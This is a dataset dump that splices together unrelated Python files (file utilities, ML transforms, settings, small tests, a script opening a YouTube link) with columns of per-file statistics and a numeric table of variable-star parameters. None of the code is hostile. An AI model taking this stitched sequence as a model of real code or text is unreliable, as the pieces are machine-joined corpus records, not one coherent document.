0.7339503410 0.0000 14.524 596 0.0231
0.2872 4.9310 0.1441 6.2156 0.0866 1.4266 0.0420 3.0733 0.0212 4.5651
0.0118 0.0187 0.0063 1.7964 0.0013 3.9440 0.0042 0.0134 0.0055 1.7098
0.0038 3.1095 0.0051 4.5331 0.0053 5.5077 0.0031 0.6046 0.0022 3.2593
oCen V99
0.6273000000 0.0000 14.566 226 0.0133
0.3776 2.5155 0.1889 1.1024 0.1306 0.0531 0.0888 5.3017 0.0582 4.4063
0.0302 3.2137 0.0204 1.9417 0.0154 1.0160 0.0104 0.2428 0.0025 5.4374
0.0028 5.3211 0.0031 3.8169 0.0034 3.8552 0.0023 2.8383 0.0029 1.9963
oCen V102
0.6349000000 0.0000 14.570 145 0.0107
0.3766 5.6910 0.1925 1.1974 0.1322 3.3286 0.0892 5.5257 0.0517 1.4770
0.0296 3.5089 0.0220 5.5426 0.0148 1.5147 0.0100 3.8812 0.0057 6.1194
0.0052 2.1429 0.0025 5.2130 0.0016 0.8631 0.0030 3.8761 0.0033 6.1544
oCen V107
0.6340999280 0.0000 14.576 285 0.0224
0.3820 3.3761 0.2008 2.8836 0.1334 2.6576 0.0931 2.5036 0.0616 2.5400
0.0279 2.0539 0.0266 1.7476 0.0116 1.7937 0.0062 1.2583 0.0003 5.8819
0.0041 2.2876 0.0024 3.2267 0.0042 3.0447 0.0035 2.6570 0.0029 1.6729
oCen V109
0.6116000000 0.0000 14.471 116 0.0244
0.3483 3.5448 0.1765 3.1329 0.1167 3.0621 0.0820 2.9458 0.0547 3.0047
0.0303 2.8386 0.0206 2.5241 0.0151 2.4372 0.0086 2.5018 0.0029 2.4176
0.0013 1.1322 0.0013 1.1104 0.0009 2.9524 0.0023 3.9023 0.0030 4.3112
oCen V113
0.5885000000 0.0000 14.546 100 0.0101
0.3970 4.3241 0.1701 4.7068 0.0841 5.2991 0.0462 5.9662 0.0235 0.4976
0.0150 0.7226 0.0080 1.6775 0.0047 1.3391 0.0028 1.3175 0.0000 0.0000
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V117
0.6197985730 0.0000 14.525 260 0.0115
0.3980 4.8366 0.2003 5.7640 0.1367 0.7215 0.0949 1.9467 0.0615 3.3142
0.0306 4.4401 0.0237 5.4352 0.0176 0.5614 0.0099 2.0618 0.0041 3.1227
0.0016 5.2526 0.0006 6.2021 0.0021 3.2893 0.0026 4.2647 0.0026 5.6889
oCen V120
0.7846000000 0.0000 14.520 99 0.0067
0.2368 5.0000 0.1053 0.2024 0.0608 1.9023 0.0259 3.6476 0.0105 5.2098
0.0061 0.8200 0.0024 3.4950 0.0021 5.4542 0.0030 1.0007 0.0017 3.3523
0.0009 1.4280 0.0014 2.3856 0.0004 3.1812 0.0023 1.3805 0.0005 1.8545
oCen V124
0.8106724050 0.0000 14.447 205 0.0185
0.2788 4.4208 0.1328 5.4253 0.0734 0.2626 0.0320 1.4731 0.0126 2.9413
0.0073 4.8896 0.0075 0.1763 0.0071 1.3405 0.0060 2.3545 0.0046 3.3194
0.0032 4.3162 0.0019 5.4558 0.0008 0.8208 0.0009 3.1288 0.0013 4.6784
oCen V128
0.5733000000 0.0000 14.665 98 0.0131
0.4376 4.1961 0.2037 4.3647 0.1479 4.9410 0.0972 5.4616 0.0717 6.1630
0.0436 0.4443 0.0288 0.8801 0.0173 1.1345 0.0126 1.8749 0.0079 2.9310
0.0057 2.7356 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V133
0.7439000000 0.0000 14.486 99 0.0136
0.3569 2.1843 0.1850 0.8073 0.1132 5.8519 0.0526 4.7133 0.0320 3.4214
0.0201 2.3204 0.0038 0.0209 0.0034 6.2404 0.0049 1.1265 0.0021 4.2999
0.0039 4.1453 0.0063 2.8225 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V137
0.7661860000 0.0000 14.352 267 0.0436
0.4306 6.2502 0.1956 2.5442 0.1410 5.1844 0.0606 1.8190 0.0380 4.2065
0.0190 0.4226 0.0090 2.7042 0.0055 5.1833 0.0026 2.2757 0.0035 0.2063
0.0054 3.4650 0.0055 0.2618 0.0042 3.3481 0.0023 0.2995 0.0011 4.2159
oCen V146
0.5108754000 0.0000 14.873 366 0.0316
0.3663 1.0225 0.1797 4.3312 0.1260 1.7853 0.0835 5.4432 0.0503 2.9451
0.0304 0.3523 0.0186 3.9574 0.0115 1.2461 0.0067 4.8431 0.0031 2.2490
0.0005 0.7274 0.0022 6.0457 0.0037 3.5631 0.0046 1.0321 0.0050 4.7831
oCen V147
0.5741436800 0.0000 14.568 150 0.0081
0.4269 2.5651 0.1975 1.1336 0.1467 0.0508 0.0969 5.2447 0.0694 4.2228
0.0429 3.2628 0.0230 2.1662 0.0185 0.9139 0.0151 6.0475 0.0100 5.2292
0.0062 4.4306 0.0036 2.9004 0.0034 2.0571 0.0037 1.7328 0.0020 0.9096
oCen V150
0.4743000000 0.0000 14.654 82 0.0179
0.3880 4.3512 0.1897 4.6359 0.1374 5.1772 0.0918 5.7880 0.0628 0.2364
0.0433 0.9340 0.0297 1.5929 0.0201 2.2245 0.0136 2.8445 0.0091 3.4788
0.0062 4.1709 0.0043 4.9795 0.0034 5.9359 0.0031 0.6663 0.0032 1.6048
oCen V153
0.6913940040 0.0000 14.588 656 0.0203
0.3289 5.7844 0.1756 1.5514 0.1114 3.8098 0.0637 6.2628 0.0303 2.2711
0.0204 4.4088 0.0102 0.9086 0.0053 3.5870 0.0032 5.9718 0.0034 2.9668
0.0046 5.0569 0.0040 1.0904 0.0032 4.0211 0.0032 6.0781 0.0034 2.4120
oCen V154
0.5141063000 0.0000 14.873 362 0.0282
0.4131 3.6349 0.2013 3.2601 0.1423 3.2926 0.0938 3.1989 0.0591 3.3269
0.0390 3.3734 0.0269 3.3237 0.0196 3.2157 0.0149 3.0960 0.0116 2.9993
0.0088 2.9407 0.0065 2.9262 0.0043 2.9687 0.0025 3.1234 0.0012 3.6710
oCen V158
0.6478449570 0.0000 14.585 360 0.0163
0.3585 0.2564 0.1856 2.9507 0.1237 5.9423 0.0839 2.7388 0.0476 5.9198
0.0242 2.3283 0.0215 5.3195 0.0110 2.3771 0.0063 5.6260 0.0020 2.0130
0.0018 5.6907 0.0043 2.8758 0.0019 6.2389 0.0032 3.3368 0.0029 0.3057
oCen V159
0.6918908870 0.0000 14.557 359 0.0174
0.3301 2.1921 0.1750 0.6117 0.1098 5.5862 0.0649 4.5116 0.0317 3.1914
0.0207 1.8714 0.0132 0.7002 0.0060 0.2048 0.0046 4.8602 0.0021 4.7608
0.0060 3.9005 0.0054 2.4240 0.0043 1.2411 0.0040 5.9877 0.0031 4.5110
oCen V163
0.6155563650 0.0000 14.615 306 0.0200
0.3913 4.8055 0.1943 5.7116 0.1246 0.6504 0.0802 1.9083 0.0523 3.2740
0.0240 4.4418 0.0153 5.3145 0.0148 0.1661 0.0093 1.8832 0.0027 2.4369
0.0018 4.3558 0.0028 5.4924 0.0005 3.5902 0.0018 3.9657 0.0020 5.1290
oCen V165
0.6046346580 0.0000 14.727 252 0.0204
0.3441 0.4936 0.1661 3.2767 0.1215 0.1567 0.0768 3.3534 0.0479 0.3505
0.0237 3.4427 0.0130 6.2735 0.0098 3.2069 0.0058 0.8419 0.0019 4.6025
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V166
0.5928748190 0.0000 14.649 260 0.0138
0.4165 3.7877 0.1999 3.5877 0.1421 3.8156 0.0960 3.9202 0.0690 4.2460
0.0381 4.4374 0.0205 4.3758 0.0177 4.3904 0.0134 4.7807 0.0078 5.0814
0.0039 5.2898 0.0015 5.0974 0.0005 6.2714 0.0014 0.5123 0.0012 2.9176
oCen V170
0.7790502180 0.0000 14.523 261 0.0173
0.2297 0.2243 0.1007 3.2802 0.0580 0.2394 0.0234 3.8306 0.0122 0.8381
0.0056 4.6357 0.0067 2.2942 0.0081 5.5292 0.0077 2.2830 0.0063 5.2635
0.0047 1.9826 0.0032 5.1236 0.0024 2.2571 0.0025 5.7648 0.0028 2.7686
oCen V176
0.7427499070 0.0000 14.494 230 0.0129
0.2783 4.4293 0.1365 5.2360 0.0790 6.2725 0.0297 1.1407 0.0143 2.2827
0.0077 4.0270 0.0036 5.8091 0.0052 0.7867 0.0065 1.7554 0.0069 2.6344
0.0061 3.5759 0.0053 4.7609 0.0026 6.0426 0.0029 0.4776 0.0035 1.4976
oCen V179
0.5890223320 0.0000 14.609 231 0.0314
0.4208 1.8045 0.2075 5.9379 0.1458 4.0844 0.0948 2.1720 0.0694 0.4255
0.0451 4.8450 0.0262 3.0197 0.0166 0.7438 0.0097 5.2179 0.0048 3.3547
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V180
0.6869580330 0.0000 14.551 231 0.0165
0.3306 3.4662 0.1718 3.2085 0.1125 3.1960 0.0675 3.3392 0.0365 3.2131
0.0209 3.1473 0.0110 3.6829 0.0045 3.5313 0.0021 3.7299 0.0052 4.4786
0.0030 4.2257 0.0024 5.2542 0.0022 5.9377 0.0053 5.8286 0.0041 5.1208
oCen V182
0.6023365240 0.0000 14.603 232 0.0127
0.4005 5.3358 0.1961 0.4367 0.1371 2.1639 0.0971 3.8693 0.0617 5.6943
0.0346 1.1471 0.0196 2.7352 0.0163 4.3533 0.0102 0.0442 0.0054 2.2149
0.0021 4.5388 0.0045 0.0622 0.0042 1.1258 0.0012 3.5907 0.0026 5.5202
oCen V188
0.6690505380 0.0000 14.542 157 0.0148
0.3304 6.0577 0.1763 2.0721 0.1204 4.5714 0.0788 0.8261 0.0375 3.5852
0.0215 6.0256 0.0211 2.1790 0.0123 4.6706 0.0062 1.1434 0.0029 4.5276
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
oCen V199
0.5213260950 0.0000 14.747 280 0.0176
0.4577 6.0112 0.2049 1.6944 0.1571 3.9012 0.1016 6.2192 0.0715 2.2415
0.0502 4.6557 0.0301 0.7666 0.0186 3.1699 0.0156 5.2097 0.0117 1.1824
0.0101 3.5682 0.0058 6.1838 0.0043 2.9364 0.0023 4.5909 0.0022 1.5094
oCen V200
0.6217000000 0.0000 14.596 280 0.0154
0.3969 4.6473 0.1977 5.3721 0.1341 0.1629 0.0924 1.2111 0.0615 2.4025
0.0313 3.4181 0.0240 4.2681 0.0191 5.4102 0.0125 0.4299 0.0076 1.5531
0.0058 2.5724 0.0029 3.5910 0.0019 4.8137 0.0006 4.1081 0.0034 3.4731
oCen V204
0.6082799800 0.0000 14.657 274 0.0128
0.3889 6.0918 0.1891 1.9934 0.1315 4.5642 0.0923 0.8022 0.0584 3.4967
0.0284 5.9670 0.0216 1.9440 0.0158 4.6877 0.0101 1.2540 0.0052 3.5147
0.0030 6.0391 0.0019 3.1019 0.0007 5.8021 0.0010 5.3027 0.0025 0.3915
oCen V206
0.7944016290 0.0000 14.481 135 0.0128
0.2235 3.5884 0.0958 3.7196 0.0554 4.0467 0.0243 4.4572 0.0092 5.0487
0.0055 6.1390 0.0060 0.4965 0.0065 0.7864 0.0069 1.0278 0.0070 1.3163
0.0066 1.6511 0.0056 2.0004 0.0043 2.3162 0.0030 2.5153 0.0022 2.5099
oCen V211
0.5944634170 0.0000 14.671 218 0.0255
0.3912 4.0669 0.1940 4.1162 0.1298 4.5866 0.0920 4.9802 0.0627 5.5772
0.0309 6.0953 0.0198 6.0155 0.0183 0.4300 0.0163 1.1107 0.0034 1.3767
0.0051 2.5037 0.0019 3.5864 0.0033 3.3457 0.0030 4.4517 0.0037 5.2945
Rup106 V1
0.6101900000 0.0000 17.785 231 0.0203
0.2325 2.3660 0.0991 0.8219 0.0721 5.9925 0.0340 4.8002 0.0213 4.0440
0.0057 3.4758 0.0061 3.4847 0.0062 2.3469 0.0054 1.0068 0.0050 5.9628
0.0048 4.7495 0.0045 3.6487 0.0039 2.6384 0.0033 1.6956 0.0027 0.7716
Rup106 V10
0.6022200000 0.0000 17.741 232 0.0188
0.2654 5.7588 0.1127 1.2654 0.0873 3.4364 0.0506 5.6494 0.0229 1.8065
0.0072 4.6083 0.0044 0.8817 0.0052 3.6060 0.0060 5.8663 0.0045 1.8328
0.0048 4.4271 0.0025 0.2865 0.0035 2.8530 0.0042 4.5940 0.0036 0.4651
Rup106 V13
0.6531500000 0.0000 17.754 232 0.0132
0.1663 1.0206 0.0560 4.4940 0.0209 1.7114 0.0012 0.0403 0.0033 5.9015
0.0034 2.5682 0.0032 0.1172 0.0024 3.8176 0.0020 0.9463 0.0018 4.5377
0.0009 2.0787 0.0001 2.1023 0.0006 0.2210 0.0002 4.3624 0.0005 4.6812
Rup106 V15
0.6033000000 0.0000 17.804 232 0.0109
0.2721 5.6092 0.1083 1.0253 0.0708 2.9365 0.0349 4.7855 0.0176 0.5544
0.0068 2.4878 0.0020 4.2210 0.0025 0.0707 0.0019 1.3388 0.0003 3.0559
0.0016 6.0393 0.0005 0.9911 0.0017 0.3054 0.0021 0.3741 0.0023 4.7225
Rup106 V16
0.6285100000 0.0000 17.790 232 0.0123
0.1969 1.7591 0.0814 5.9307 0.0477 4.2757 0.0223 2.7302 0.0098 1.7613
0.0061 0.9121 0.0051 5.4351 0.0063 3.5654 0.0035 2.0070 0.0054 0.2947
0.0041 5.3097 0.0018 4.1585 0.0012 1.2594 0.0004 0.8935 0.0008 5.4782
Rup106 V18
0.6354700000 0.0000 17.797 232 0.0128
0.1719 5.0084 0.0655 6.2115 0.0359 1.6020 0.0126 3.3666 0.0056 5.2849
0.0053 1.6824 0.0040 3.0904 0.0041 4.8264 0.0037 0.2560 0.0023 1.9175
0.0008 3.6355 0.0001 5.6461 0.0003 5.8419 0.0009 1.2948 0.0013 2.8976
""".strip()
| 56.790902
| 80
| 0.609681
| 17,908
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| 2.632511
| 0.271778
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| 0.019897
| 0.017267
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| 0.017267
| 0.017267
| 0.017267
| 0
| 0.791373
| 0.265961
| 77,406
| 1,362
| 81
| 56.832599
| 0.038332
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| 0
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| 0.983431
| 0.001649
| 0
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| 1
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| false
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| 0.002301
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| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6feb880bf6125084c699ede957888effda8e2e6c
| 281
|
py
|
Python
|
pbs_deploy/src/task/system/move.py
|
matyro/pbs_deployment
|
50e81303e4ab83ecc667d18e2d1788184393cb31
|
[
"MIT"
] | null | null | null |
pbs_deploy/src/task/system/move.py
|
matyro/pbs_deployment
|
50e81303e4ab83ecc667d18e2d1788184393cb31
|
[
"MIT"
] | null | null | null |
pbs_deploy/src/task/system/move.py
|
matyro/pbs_deployment
|
50e81303e4ab83ecc667d18e2d1788184393cb31
|
[
"MIT"
] | null | null | null |
import processor
import shutil
class move (processor):
def __init__(self):
pass
def run(self):
shutil.move(self.settings['from'], self.settings['to'])
def set(self, name, para):
self.settings[name] = para
| 17.5625
| 64
| 0.540925
| 31
| 281
| 4.774194
| 0.516129
| 0.243243
| 0
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| 0
| 0
| 0.345196
| 281
| 16
| 65
| 17.5625
| 0.804348
| 0
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| 0.021277
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| 1
| 0.333333
| false
| 0.111111
| 0.222222
| 0
| 0.666667
| 0
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| null | 1
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| 0
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| null | 0
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| 1
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| 1
| 0
|
0
| 4
|
b50c453c45bebefae2310726700c461aa0f53786
| 79
|
py
|
Python
|
disciplinereport/settings/content_settings.py
|
ninapavlich/disciplinereport
|
02e1a6dbed767fa160517e4b20c1c24e52b37bf2
|
[
"MIT"
] | null | null | null |
disciplinereport/settings/content_settings.py
|
ninapavlich/disciplinereport
|
02e1a6dbed767fa160517e4b20c1c24e52b37bf2
|
[
"MIT"
] | null | null | null |
disciplinereport/settings/content_settings.py
|
ninapavlich/disciplinereport
|
02e1a6dbed767fa160517e4b20c1c24e52b37bf2
|
[
"MIT"
] | null | null | null |
DISTRICT_LIST_DOMAIN = 'district-data'
DISTRICT_DETAIL_DOMAIN = 'district-data'
| 39.5
| 40
| 0.835443
| 10
| 79
| 6.2
| 0.5
| 0.451613
| 0.580645
| 0
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| 79
| 2
| 40
| 39.5
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| 0
| 0
| 0
|
0
| 4
|
d21c330f80118d4a4e3e947df76729e653dd8ca8
| 1,833
|
py
|
Python
|
utils/data/para.py
|
dumpmemory/SPPR
|
0df749d000e50a64ae13c606072a902f19ecb251
|
[
"MIT"
] | 62
|
2021-08-01T09:32:32.000Z
|
2022-03-22T06:40:40.000Z
|
utils/data/para.py
|
dumpmemory/SPPR
|
0df749d000e50a64ae13c606072a902f19ecb251
|
[
"MIT"
] | 3
|
2021-10-17T10:51:07.000Z
|
2022-02-05T12:44:39.000Z
|
utils/data/para.py
|
dumpmemory/SPPR
|
0df749d000e50a64ae13c606072a902f19ecb251
|
[
"MIT"
] | 9
|
2021-08-02T03:22:10.000Z
|
2022-02-24T00:54:54.000Z
|
from torchvision import transforms
from utils.data.cifar import CIFAR100
from utils.data.mini_imagenet import MiniImageNet
from utils.data.cub import CUB
datasets_all = {
'CIFAR100': CIFAR100,
'mini-imagenet': MiniImageNet,
'cub': CUB,
}
AVAILABLE_TRANSFORMS_train = {
'CIFAR100': transforms.Compose([
transforms.RandomResizedCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ColorJitter(brightness=63 / 255),
transforms.ToTensor(),
transforms.Normalize(mean=[0.5071, 0.4867, 0.4408], std=[0.2675, 0.2565, 0.2761])]
),
'mini-imagenet': transforms.Compose([
transforms.RandomResizedCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ColorJitter(brightness=63 / 255),
transforms.ToTensor(),
transforms.Normalize([0.472, 0.453, 0.410], [0.277, 0.268, 0.284])]
),
'cub': transforms.Compose([
transforms.Resize((256, 256)),
transforms.RandomCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]
),
}
AVAILABLE_TRANSFORMS_test = {
'CIFAR100': transforms.Compose([
transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize(mean=[0.5071, 0.4867, 0.4408], std=[0.2675, 0.2565, 0.2761])]
),
'mini-imagenet': transforms.Compose([
transforms.Resize((256, 256)),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.472, 0.453, 0.410], [0.277, 0.268, 0.284])]
),
'cub': transforms.Compose([
transforms.Resize((224, 224)),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]
),
}
| 32.732143
| 90
| 0.631206
| 204
| 1,833
| 5.642157
| 0.25
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| 0.192876
| 0.741964
| 0.713293
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| 0.688966
| 0.643788
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| 0
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| 0.211129
| 1,833
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| 0.64592
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| null | 0
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| 0
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| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d23dda73c8bde6545d8b38f14412324f2eb063e3
| 109
|
py
|
Python
|
injectify/exceptions.py
|
Maltzur/injectify
|
14be269fb7609e0c530aec7195fb3ba18d42816a
|
[
"BSD-3-Clause"
] | null | null | null |
injectify/exceptions.py
|
Maltzur/injectify
|
14be269fb7609e0c530aec7195fb3ba18d42816a
|
[
"BSD-3-Clause"
] | null | null | null |
injectify/exceptions.py
|
Maltzur/injectify
|
14be269fb7609e0c530aec7195fb3ba18d42816a
|
[
"BSD-3-Clause"
] | null | null | null |
"""This module contains exceptions that power Injectify."""
class ClassFoundException(Exception):
pass
| 18.166667
| 59
| 0.761468
| 11
| 109
| 7.545455
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.146789
| 109
| 5
| 60
| 21.8
| 0.892473
| 0.486239
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
d24cfd66a04d09d5be5c634c97cf7b35de9fa86b
| 1,028
|
py
|
Python
|
lale/lib/lightgbm/__init__.py
|
mfeffer/lale
|
57b58843c7c14dc2e5658244280f2c1918bf030b
|
[
"Apache-2.0"
] | 265
|
2019-08-06T14:45:43.000Z
|
2022-03-30T23:57:48.000Z
|
lale/lib/lightgbm/__init__.py
|
mfeffer/lale
|
57b58843c7c14dc2e5658244280f2c1918bf030b
|
[
"Apache-2.0"
] | 467
|
2019-08-08T02:01:21.000Z
|
2022-03-25T16:12:00.000Z
|
lale/lib/lightgbm/__init__.py
|
mfeffer/lale
|
57b58843c7c14dc2e5658244280f2c1918bf030b
|
[
"Apache-2.0"
] | 81
|
2019-08-07T19:59:31.000Z
|
2022-03-31T09:11:58.000Z
|
# Copyright 2019 IBM Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Scikit-learn compatible wrappers for LightGBM_ along with schemas to enable hyperparameter tuning.
.. _LightGBM: https://www.microsoft.com/en-us/research/project/lightgbm/
Operators:
==========
* `LGBMClassifier`_
* `LGBMRegressor`_
.. _`LGBMClassifier`: lale.lib.lightgbm.lgbm_classifier.html
.. _`LGBMRegressor`: lale.lib.lightgbm.lgbm_regressor.html
"""
from .lgbm_classifier import LGBMClassifier
from .lgbm_regressor import LGBMRegressor
| 32.125
| 98
| 0.772374
| 140
| 1,028
| 5.6
| 0.65
| 0.076531
| 0.033163
| 0.040816
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008989
| 0.134241
| 1,028
| 31
| 99
| 33.16129
| 0.87191
| 0.88035
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d25505f37b49ab0efd4a5fc80bac8e9826e9b797
| 53
|
py
|
Python
|
slack_sdk/scim/async_client.py
|
priya1puresoftware/python-slack-sdk
|
3503182feaaf4d41b57fd8bf10038ebc99f1f3c7
|
[
"MIT"
] | 2,486
|
2016-11-03T14:31:43.000Z
|
2020-10-26T23:07:44.000Z
|
slack_sdk/scim/async_client.py
|
priya1puresoftware/python-slack-sdk
|
3503182feaaf4d41b57fd8bf10038ebc99f1f3c7
|
[
"MIT"
] | 721
|
2016-11-03T21:26:56.000Z
|
2020-10-26T12:41:29.000Z
|
slack_sdk/scim/async_client.py
|
priya1puresoftware/python-slack-sdk
|
3503182feaaf4d41b57fd8bf10038ebc99f1f3c7
|
[
"MIT"
] | 627
|
2016-11-02T19:04:19.000Z
|
2020-10-25T19:21:13.000Z
|
from .v1.async_client import AsyncSCIMClient # noqa
| 26.5
| 52
| 0.811321
| 7
| 53
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021739
| 0.132075
| 53
| 1
| 53
| 53
| 0.891304
| 0.075472
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
9628878b33b2867d9ae7c020d2b2edeae1560da8
| 83
|
py
|
Python
|
python/web_die.py
|
VishalBishnoiD/spooktoober
|
09c1f0806d23eebaf08af7684b20a89b6a11ceec
|
[
"MIT"
] | 4
|
2021-10-04T16:05:29.000Z
|
2021-10-10T16:44:10.000Z
|
python/web_die.py
|
VishalBishnoiD/spooktoober
|
09c1f0806d23eebaf08af7684b20a89b6a11ceec
|
[
"MIT"
] | 3
|
2021-10-04T15:55:49.000Z
|
2021-10-09T04:38:23.000Z
|
python/web_die.py
|
VishalBishnoiD/spooktoober
|
09c1f0806d23eebaf08af7684b20a89b6a11ceec
|
[
"MIT"
] | 3
|
2021-10-04T15:34:12.000Z
|
2021-10-08T15:31:09.000Z
|
import webbrowser
webbrowser.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ')
| 16.6
| 62
| 0.783133
| 11
| 83
| 5.909091
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025641
| 0.060241
| 83
| 4
| 63
| 20.75
| 0.807692
| 0
| 0
| 0
| 0
| 0
| 0.518072
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
964325f72cb833f9e3c0e9d175bf301c6cf6e8c1
| 434
|
py
|
Python
|
Tests/test_fib.py
|
swaldtmann/python-basic
|
58f3b046942ca8da03a2c8e6ad9e3e29a8ff7bb4
|
[
"MIT"
] | null | null | null |
Tests/test_fib.py
|
swaldtmann/python-basic
|
58f3b046942ca8da03a2c8e6ad9e3e29a8ff7bb4
|
[
"MIT"
] | null | null | null |
Tests/test_fib.py
|
swaldtmann/python-basic
|
58f3b046942ca8da03a2c8e6ad9e3e29a8ff7bb4
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import unittest
from fibonacci import fib
class FibonacciTest(unittest.TestCase):
def testCalculation(self):
self.assertEqual(fib(0), 0)
self.assertEqual(fib(1), 1)
self.assertEqual(fib(5), 5)
self.assertEqual(fib(10), 55)
def testCalculation2(self):
self.assertEqual(fib(20), 6765)
if __name__ == "__main__":
unittest.main()
| 21.7
| 39
| 0.635945
| 53
| 434
| 5.056604
| 0.566038
| 0.279851
| 0.335821
| 0.164179
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.053254
| 0.221198
| 434
| 19
| 40
| 22.842105
| 0.739645
| 0.096774
| 0
| 0
| 0
| 0
| 0.020513
| 0
| 0
| 0
| 0
| 0
| 0.416667
| 1
| 0.166667
| false
| 0
| 0.166667
| 0
| 0.416667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
966bafc248a25c8f6e7b19cc25507d8089667288
| 494
|
py
|
Python
|
Introducao ao Python - DIO/Aula07Parte2.py
|
eduardaalvess/RepositorioPython
|
e6778e851942b97cd61143c6bcc34d0d5941392b
|
[
"MIT"
] | 1
|
2021-08-31T22:48:53.000Z
|
2021-08-31T22:48:53.000Z
|
Introducao ao Python - DIO/Aula07Parte2.py
|
eduardaalvess/RepositorioPython
|
e6778e851942b97cd61143c6bcc34d0d5941392b
|
[
"MIT"
] | null | null | null |
Introducao ao Python - DIO/Aula07Parte2.py
|
eduardaalvess/RepositorioPython
|
e6778e851942b97cd61143c6bcc34d0d5941392b
|
[
"MIT"
] | null | null | null |
class Calculadora:
def soma(self, valor_a, valor_b):
return valor_a + valor_b
def subtracao(self, valor_a, valor_b):
return valor_a - valor_b
def multiplacacao(self, valor_a, valor_b):
return valor_a * valor_b
def divisao(self, valor_a, valor_b):
return valor_a / valor_b
calculadora = Calculadora()
print(calculadora.soma(10, 2))
print(calculadora.subtracao(5, 3))
print(calculadora.divisao(100, 2))
print(calculadora.multiplacacao(10, 5))
| 24.7
| 46
| 0.696356
| 72
| 494
| 4.555556
| 0.25
| 0.146341
| 0.268293
| 0.292683
| 0.442073
| 0.442073
| 0.442073
| 0.442073
| 0.442073
| 0.442073
| 0
| 0.030303
| 0.198381
| 494
| 20
| 47
| 24.7
| 0.79798
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.285714
| 0.642857
| 0.285714
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
96ab7bad7d0e066c0fe92ffefb78fa9899e5a2d2
| 530
|
py
|
Python
|
tests/lists/all.py
|
nanobowers/py2cr
|
b7deb8c227cf43ce0e1bf7d638d5b4c00b7e9bdb
|
[
"MIT"
] | 61
|
2021-10-06T03:29:45.000Z
|
2022-02-11T20:42:16.000Z
|
